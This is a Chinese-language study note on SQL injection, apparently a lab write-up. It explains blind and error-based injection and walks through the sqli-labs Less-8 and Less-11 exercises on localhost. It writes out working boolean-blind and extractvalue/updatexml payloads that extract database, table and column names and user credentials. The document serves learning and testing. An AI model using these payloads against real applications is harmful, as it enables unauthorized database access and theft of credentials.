1.什么时候使用盲注?
当没有任何报错信息,没有任何输出的时候,只能使用盲注
2.盲注有哪些类型?
布尔盲注
时间盲注
3.报错注入原理是什么?
在 MYSQL 中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错信息中获取设定的信息。
4.报错注入制造函数有哪些?
updatexml(),extractvalue(),floor() ,exp()
5.盲注常用的函数有哪些?
通过长度判断 length():length(database())>=x
通过字符判断 substr():substr(database(),1,1) =‘s’
通过 ascII 码判断:ascii():ascii(substr(database(),1,1)) =x
6.报错注入常用的payload有哪些?
extractvalue(1 ,concat(0x7e,(select database())))
updatexml('test ',concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1)
实践:
1.sqli-labs LESS-8练习平台进行sql注入
1.判断注入点
判断出了为字符型注入漏洞:
判断出为布尔盲注
2.判断数据库名的长度
http://localhost/sqli/Less-8/?id=1’ and length(database())>=9–+
3.爆库名security
http://localhost/sqli/Less-8/?id=1’ and substr(database(),1,1 )=‘s’ --+
说明库名的第一个字符为s
http://localhost/sqli/Less-8/?id=1’ and substr(database(),2,1 )=‘e’ --+
以上的方式是手动进行枚举,不现实,需要用到burp suite工具进行枚举爆破。如下:
以上,就爆出了库名:security
4.爆表名:也是用上面的方法,使用burp suite进行拦截来爆破
一个一个表爆:
http://localhost/sqli/Less-8/?id=1’ and substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)=‘e’ --+
所有表一起爆:
http://localhost/sqli/Less-8/?id=1’ and substr((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,1)=‘e’ --+
5.爆字段名:也是用上面的方法,使用burp suite进行拦截来爆破
http://localhost/sqli/Less-8/?id=1’ and substr((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘emails’),1,1)=‘i’ --+
6.爆数据:
一个一个字段的爆:http://localhost/sqli/Less-8/?id=1' and substr((select group_concat(id) from security.emails),1,1)=’1’ --+
所有字段的数据一起爆:但是在burp suite 里面选择有效载荷选项时,给的字典内容就很多,所以不现实。http://localhost/sqli/Less-8/?id=1’ and substr((select group_concat(id,0x3a,email_id) from security.emails),1,1)=’1’ --+
http://localhost/sqli/Less-8/?id=1’ and substr((select group_concat(email_id) from security.emails),1,1)=’D’ --+
2.sqli-labs Less-11
判断这是报错型注入
把构造语句填在文本框中:
爆库名:’ and extractvalue(1,concat(0x7e,(select database()))) #
爆表名:’ and updatexml(‘test’,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1) #
爆字段名:’ and extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘emails’))) #
爆数据:a’ and updatexml (1,concat(0x7e,(select concat_ws (’:’,username,password) from security.users limit 0,1 )),3) #
结果: